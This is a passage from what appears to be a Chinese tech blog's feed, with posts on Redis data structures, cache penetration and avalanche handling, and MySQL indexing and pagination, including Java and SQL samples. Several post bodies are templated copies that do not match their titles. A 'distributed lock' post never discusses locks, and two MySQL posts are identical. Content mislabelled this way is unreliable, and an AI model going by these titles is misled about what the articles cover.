        <content type="html"><![CDATA[<h1 id="Redis-分布式锁的正确姿势"><a href="#Redis-分布式锁的正确姿势" class="headerlink" title="Redis 分布式锁的正确姿势"></a>Redis 分布式锁的正确姿势</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>缓存穿透击穿雪崩怎么处理</title>
      <link href="//huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/"/>
      <url>//huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/</url>
      
        <content type="html"><![CDATA[<h1 id="缓存穿透击穿雪崩怎么处理"><a href="#缓存穿透击穿雪崩怎么处理" class="headerlink" title="缓存穿透击穿雪崩怎么处理"></a>缓存穿透击穿雪崩怎么处理</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 数据结构详解：从原理到实战应用</title>
      <link href="//redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/"/>
      <url>//redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-数据结构详解：从原理到实战应用"><a href="#Redis-数据结构详解：从原理到实战应用" class="headerlink" title="Redis 数据结构详解：从原理到实战应用"></a>Redis 数据结构详解：从原理到实战应用</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="五种基本数据结构"><a href="#五种基本数据结构" class="headerlink" title="五种基本数据结构"></a>五种基本数据结构</h2><p>#</p><h2 id="1-String（字符串）"><a href="#1-String（字符串）" class="headerlink" title="1. String（字符串）"></a>1. String（字符串）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 设置值</span></span><br><span class="line">redisTemplate.opsForValue().set(<span class="string">&quot;user:1001:name&quot;</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取值</span></span><br><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> redisTemplate.opsForValue().get(<span class="string">&quot;user:1001:name&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 设置过期时间</span></span><br><span class="line">redisTemplate.opsForValue().set(<span class="string">&quot;token:abc&quot;</span>, <span class="string">&quot;xxx&quot;</span>, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 原子递增</span></span><br><span class="line">redisTemplate.opsForValue().increment(<span class="string">&quot;counter:page:home&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>适用场景</strong>：缓存、计数器、Session 存储</p><p>#</p><h2 id="2-Hash（哈希）"><a href="#2-Hash（哈希）" class="headerlink" title="2. Hash（哈希）"></a>2. Hash（哈希）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 设置哈希字段</span></span><br><span class="line">redisTemplate.opsForHash().put(<span class="string">&quot;user:1001&quot;</span>, <span class="string">&quot;name&quot;</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">redisTemplate.opsForHash().put(<span class="string">&quot;user:1001&quot;</span>, <span class="string">&quot;email&quot;</span>, <span class="string">&quot;zhangsan@example.com&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取整个哈希</span></span><br><span class="line">Map&lt;Object, Object&gt; user = redisTemplate.opsForHash().entries(<span class="string">&quot;user:1001&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取单个字段</span></span><br><span class="line"><span class="type">String</span> <span class="variable">email</span> <span class="operator">=</span> (String) redisTemplate.opsForHash().get(<span class="string">&quot;user:1001&quot;</span>, <span class="string">&quot;email&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>适用场景</strong>：对象存储、配置信息</p><p>#</p><h2 id="3-List（列表）"><a href="#3-List（列表）" class="headerlink" title="3. List（列表）"></a>3. List（列表）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 从左侧插入</span></span><br><span class="line">redisTemplate.opsForList().leftPush(<span class="string">&quot;queue:orders&quot;</span>, <span class="string">&quot;order:1001&quot;</span>);</span><br><span class="line">redisTemplate.opsForList().leftPush(<span class="string">&quot;queue:orders&quot;</span>, <span class="string">&quot;order:1002&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 从右侧弹出</span></span><br><span class="line"><span class="type">String</span> <span class="variable">orderId</span> <span class="operator">=</span> (String) redisTemplate.opsForList().rightPop(<span class="string">&quot;queue:orders&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取列表长度</span></span><br><span class="line"><span class="type">Long</span> <span class="variable">size</span> <span class="operator">=</span> redisTemplate.opsForList().size(<span class="string">&quot;queue:orders&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>适用场景</strong>：消息队列、任务队列、最新列表</p><p>#</p><h2 id="4-Set（集合）"><a href="#4-Set（集合）" class="headerlink" title="4. Set（集合）"></a>4. Set（集合）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 添加元素</span></span><br><span class="line">redisTemplate.opsForSet().add(<span class="string">&quot;set:users&quot;</span>, <span class="string">&quot;user:1&quot;</span>, <span class="string">&quot;user:2&quot;</span>, <span class="string">&quot;user:3&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 判断元素是否存在</span></span><br><span class="line"><span class="type">Boolean</span> <span class="variable">exists</span> <span class="operator">=</span> redisTemplate.opsForSet().isMember(<span class="string">&quot;set:users&quot;</span>, <span class="string">&quot;user:1&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 交集</span></span><br><span class="line">Set&lt;Object&gt; intersection = redisTemplate.opsForSet().intersect(<span class="string">&quot;set:a&quot;</span>, <span class="string">&quot;set:b&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 差集</span></span><br><span class="line">Set&lt;Object&gt; difference = redisTemplate.opsForSet().difference(<span class="string">&quot;set:a&quot;</span>, <span class="string">&quot;set:b&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>适用场景</strong>：去重、共同好友、抽奖</p><p>#</p><h2 id="5-Sorted-Set（有序集合）"><a href="#5-Sorted-Set（有序集合）" class="headerlink" title="5. Sorted Set（有序集合）"></a>5. Sorted Set（有序集合）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 添加元素（带分数）</span></span><br><span class="line">redisTemplate.opsForZSet().add(<span class="string">&quot;ranking:score&quot;</span>, <span class="string">&quot;user:1&quot;</span>, <span class="number">100</span>);</span><br><span class="line">redisTemplate.opsForZSet().add(<span class="string">&quot;ranking:score&quot;</span>, <span class="string">&quot;user:2&quot;</span>, <span class="number">95</span>);</span><br><span class="line">redisTemplate.opsForZSet().add(<span class="string">&quot;ranking:score&quot;</span>, <span class="string">&quot;user:3&quot;</span>, <span class="number">98</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取排名（从高到低）</span></span><br><span class="line">Set&lt;Object&gt; top10 = redisTemplate.opsForZSet()</span><br><span class="line">    .reverseRange(<span class="string">&quot;ranking:score&quot;</span>, <span class="number">0</span>, <span class="number">9</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取分数</span></span><br><span class="line"><span class="type">Double</span> <span class="variable">score</span> <span class="operator">=</span> redisTemplate.opsForZSet().score(<span class="string">&quot;ranking:score&quot;</span>, <span class="string">&quot;user:1&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 增加分数</span></span><br><span class="line">redisTemplate.opsForZSet().incrementScore(<span class="string">&quot;ranking:score&quot;</span>, <span class="string">&quot;user:1&quot;</span>, <span class="number">5</span>);</span><br></pre></td></tr></table></figure><p><strong>适用场景</strong>：排行榜、积分系统、范围查询</p><h2 id="高级数据结构"><a href="#高级数据结构" class="headerlink" title="高级数据结构"></a>高级数据结构</h2><p>#</p><h2 id="HyperLogLog"><a href="#HyperLogLog" class="headerlink" title="HyperLogLog"></a>HyperLogLog</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 添加元素</span></span><br><span class="line">redisTemplate.opsForHyperLogLog().add(<span class="string">&quot;hll:uv&quot;</span>, <span class="string">&quot;user:1&quot;</span>, <span class="string">&quot;user:2&quot;</span>, <span class="string">&quot;user:3&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取基数估算</span></span><br><span class="line"><span class="type">Long</span> <span class="variable">uv</span> <span class="operator">=</span> redisTemplate.opsForHyperLogLog().size(<span class="string">&quot;hll:uv&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 合并多个 HyperLogLog</span></span><br><span class="line">redisTemplate.opsForHyperLogLog().union(<span class="string">&quot;hll:uv:total&quot;</span>, <span class="string">&quot;hll:uv:day1&quot;</span>, <span class="string">&quot;hll:uv:day2&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>适用场景</strong>：UV 统计、去重计数</p><p>#</p><h2 id="Geo"><a href="#Geo" class="headerlink" title="Geo"></a>Geo</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 添加地理位置</span></span><br><span class="line">redisTemplate.opsForGeo().add(<span class="string">&quot;geo:stores&quot;</span>, </span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">Point</span>(<span class="number">116.4074</span>, <span class="number">39.9042</span>), <span class="string">&quot;北京&quot;</span>,</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">Point</span>(<span class="number">121.4737</span>, <span class="number">31.2304</span>), <span class="string">&quot;上海&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取两点距离</span></span><br><span class="line"><span class="type">Distance</span> <span class="variable">distance</span> <span class="operator">=</span> redisTemplate.opsForGeo()</span><br><span class="line">    .distance(<span class="string">&quot;geo:stores&quot;</span>, <span class="string">&quot;北京&quot;</span>, <span class="string">&quot;上海&quot;</span>, Metrics.KILOMETERS);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 附近的位置</span></span><br><span class="line">GeoResults&lt;GeoLocation&lt;Object&gt;&gt; results = redisTemplate.opsForGeo()</span><br><span class="line">    .radius(<span class="string">&quot;geo:stores&quot;</span>, <span class="keyword">new</span> <span class="title class_">Circle</span>(<span class="number">116.4074</span>, <span class="number">39.9042</span>, <span class="keyword">new</span> <span class="title class_">Distance</span>(<span class="number">10</span>, Metrics.KILOMETERS)));</span><br></pre></td></tr></table></figure><p><strong>适用场景</strong>：LBS 服务、附近的人</p><h2 id="实战案例"><a href="#实战案例" class="headerlink" title="实战案例"></a>实战案例</h2><p>#</p><h2 id="案例一：缓存用户信息"><a href="#案例一：缓存用户信息" class="headerlink" title="案例一：缓存用户信息"></a>案例一：缓存用户信息</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> UserDTO <span class="title function_">getUser</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 先查缓存</span></span><br><span class="line">    <span class="type">Object</span> <span class="variable">cached</span> <span class="operator">=</span> redisTemplate.opsForHash().entries(key);</span><br><span class="line">    <span class="keyword">if</span> (cached != <span class="literal">null</span> &amp;&amp; !((Map&lt;?, ?&gt;) cached).isEmpty()) &#123;</span><br><span class="line">        <span class="keyword">return</span> convertFromHash((Map&lt;Object, Object&gt;) cached);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 缓存不存在，查数据库</span></span><br><span class="line">    <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userRepository.findById(userId).orElse(<span class="literal">null</span>);</span><br><span class="line">    <span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="comment">// 写入缓存</span></span><br><span class="line">        redisTemplate.opsForHash().putAll(key, convertToHash(user));</span><br><span class="line">        redisTemplate.expire(key, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> convertToDTO(user);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="案例二：实现排行榜"><a href="#案例二：实现排行榜" class="headerlink" title="案例二：实现排行榜"></a>案例二：实现排行榜</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RankingService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">RANKING_KEY</span> <span class="operator">=</span> <span class="string">&quot;ranking:game&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addScore</span><span class="params">(Long userId, <span class="type">int</span> score)</span> &#123;</span><br><span class="line">        redisTemplate.opsForZSet().incrementScore(RANKING_KEY, <span class="string">&quot;user:&quot;</span> + userId, score);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> List&lt;Long&gt; <span class="title function_">getTopUsers</span><span class="params">(<span class="type">int</span> limit)</span> &#123;</span><br><span class="line">        Set&lt;Object&gt; top = redisTemplate.opsForZSet()</span><br><span class="line">            .reverseRange(RANKING_KEY, <span class="number">0</span>, limit - <span class="number">1</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> top.stream()</span><br><span class="line">            .map(obj -&gt; Long.parseLong(obj.toString().split(<span class="string">&quot;:&quot;</span>)[<span class="number">1</span>]))</span><br><span class="line">            .collect(Collectors.toList());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getUserRank</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">        <span class="type">Long</span> <span class="variable">rank</span> <span class="operator">=</span> redisTemplate.opsForZSet()</span><br><span class="line">            .reverseRank(RANKING_KEY, <span class="string">&quot;user:&quot;</span> + userId);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> rank != <span class="literal">null</span> ? rank.intValue() + <span class="number">1</span> : -<span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键：</p><ol><li><strong>String</strong>：简单的键值对存储</li><li><strong>Hash</strong>：对象属性存储</li><li><strong>List</strong>：有序列表，适合队列</li><li><strong>Set</strong>：无序去重集合</li><li><strong>ZSet</strong>：有序集合，适合排名</li></ol><p>理解每种数据结构的特点，才能发挥 Redis 的最大价值。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>数据库字段类型如何贴近业务</title>
      <link href="//shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/"/>
      <url>//shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="数据库字段类型如何贴近业务"><a href="#数据库字段类型如何贴近业务" class="headerlink" title="数据库字段类型如何贴近业务"></a>数据库字段类型如何贴近业务</h1><p>字段类型的选择直接影响性能和数据完整性。本文从实际项目经验出发讲如何选。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分页查询性能问题和游标分页</title>
      <link href="//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/"/>
      <url>//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/</url>
      
        <content type="html"><![CDATA[<h1 id="分页查询性能问题和游标分页"><a href="#分页查询性能问题和游标分页" class="headerlink" title="分页查询性能问题和游标分页"></a>分页查询性能问题和游标分页</h1><p>分页查询看似简单，但 offset 越来越大时性能会急剧下降。本文讲游标分页的实现方式和适用场景。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>慢 SQL 排查和优化完整流程</title>
      <link href="//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/"/>
      <url>//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="慢-SQL-排查和优化完整流程"><a href="#慢-SQL-排查和优化完整流程" class="headerlink" title="慢 SQL 排查和优化完整流程"></a>慢 SQL 排查和优化完整流程</h1><p>慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span 